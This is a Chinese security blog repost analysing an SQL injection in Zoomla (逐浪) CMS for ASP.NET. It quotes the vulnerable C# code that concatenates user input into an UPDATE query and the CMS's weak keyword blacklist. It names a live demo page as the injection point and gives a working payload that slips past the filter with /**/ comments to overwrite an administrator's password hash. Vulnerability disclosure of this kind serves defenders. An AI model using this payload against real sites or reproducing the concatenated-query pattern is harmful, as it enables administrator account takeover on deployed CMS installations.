逐浪CMS通用型SQL注入漏洞分析与利用(asp.net)

没穿底裤 2020年1月1日02:49:47评论391 views字数 1840阅读6分8秒阅读模式
摘要

作者:wefgod绕过了那个很简单的防注入。直接可以update管理员密码。页面的按钮点击事件:

作者wefgod

绕过了那个很简单的防注入。直接可以update管理员密码。

注入点:
http://demo.zoomla.cn/user/cashcoupon/arrivejihuo.aspx

页面的按钮点击事件:

[php]

protected void Btn_Click调用了b_Arrive.UpdateState(text);   public bool UpdateState(string ArriveNo)  {   string sqlStr = "Update ZL_Arrive SET State =1 WHERE ArriveNO='" + ArriveNo + "'";  ///果断注入   return SqlHelper.ExecuteSql(sqlStr);   }

[/php]

Page_Load方法里面有调用到了一个函数:
DataSecurity.StartProcessRequest();
上面这个函数具体是这样的:

[php]

public static void StartProcessRequest()   {   try  {   if (HttpContext.Current.Request.QueryString != null)   {   for (int i = 0; i < HttpContext.Current.Request.QueryString.Count; i++)   {   string getkeys = HttpContext.Current.Request.QueryString.Keys[i];   if (!DataSecurity.ProcessSqlStr(HttpContext.Current.Request.QueryString[getkeys]))   {   function.WriteErrMsg("数据不能包含SQL注入代码!");   HttpContext.Current.Response.End();   }   }   }   if (HttpContext.Current.Request.Form != null)   {   for (int j = 0; j < HttpContext.Current.Request.Form.Count; j++)   {   string getkeys = HttpContext.Current.Request.Form.Keys[j];   if (!DataSecurity.ProcessSqlStr(HttpContext.Current.Request.Form[getkeys]))   {   function.WriteErrMsg("数据不能包含SQL注入代码!");   HttpContext.Current.Response.End();   }   }   }   }   ……   }

[/php]

里面还调用到一个DataSecurity.ProcessSqlStr

[php]

public static bool ProcessSqlStr(string Str)   {   bool ReturnValue = true;   Str = Str.ToLower();   try  {   if (Str != "")   {   string SqlStr = "and |exec |insert |select |delete |update |count |chr |mid |master |truncate |char |declare ";   string[] anySqlStr = SqlStr.Split(new char[]   {   '|'  });   string[] array = anySqlStr;   for (int i = 0; i < array.Length; i++)   {   string ss = array[i];   if (Str.IndexOf(ss) >= 0)   {   ReturnValue = false;   }   }   }   }   catch  {   ReturnValue = false;   }   return ReturnValue;   }

[/php]

对于变量
string SqlStr = "and |exec |insert |select |delete |update |count |chr |mid |master |truncate |char |declare ";
里面的特征字符串,仅仅是做了一个很简单的匹配,很容易绕过,看例子:
在页面正常输入东西:
image019.png
提交的时候截断一下,改下优惠券编号的代码,如下:
1';update/**/zl_manager set adminpassword='c4ca4238a0b923820dcc509a6f75849b' where adminname='testuser'--
执行前管理密码是这样的:
逐浪CMS通用型SQL注入漏洞分析与利用(asp.net)
执行后是这样的:
逐浪CMS通用型SQL注入漏洞分析与利用(asp.net)
表明注入成功。

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
没穿底裤
  • 本文由 发表于 2020年1月1日02:49:47
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   逐浪CMS通用型SQL注入漏洞分析与利用(asp.net)https://cn-sec.com/archives/75259.html

发表评论

匿名网友 填写信息